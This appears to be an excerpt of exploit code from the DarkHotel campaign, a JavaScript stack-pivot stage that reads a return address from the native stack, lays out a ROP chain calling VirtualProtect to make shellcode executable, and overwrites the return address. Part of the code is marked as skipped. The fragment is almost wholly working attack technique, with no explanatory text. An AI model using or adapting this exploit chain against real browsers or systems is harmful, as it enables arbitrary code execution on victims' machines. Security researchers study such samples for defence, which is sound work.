darkhotel_stack_pivot

darkhotel_stack_pivot.js

  var aA = S(O, V(O));  

  var aB = ((aA.charCodeAt(4) << 16) | aA.charCodeAt(3)) - 0x44; // <--- points to a return address in the native stack

  for (var A = 0; A < 10; A++) V(aB - (0x1000 * A));

  var aC = aB - 0x2000; // <--- will be used for the ROP chain layout

//<code skipped>

  S(aC + 4, av + 1); // ret
  S(aC + 4 + 4 + 0x18, av); // pop eax ret
  S(aC + 4 + 4 + 0x1C, av + 1); // ret
  S(aC + 4 + 4 + 0x20, au); // virtual protect @
  S(aC + 4 + 4 + 4 + 0x20, O + h);//shellcode address
  S(aC + 4 + 4 + 4 + 4 + 0x20, O + h); //shellcode address
  S(aC + 4 + 4 + 4 + 4 + 4 + 0x20, (m.length * c)); //shellcode size
  S(aC + 4 + 4 + 4 + 4 + 4 + 4 + 0x20, 0x40);//protect
  S(aC + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 0x20, aC - 0x1000);
  S(aB, aC);  // <-- overwrites return address in the native stack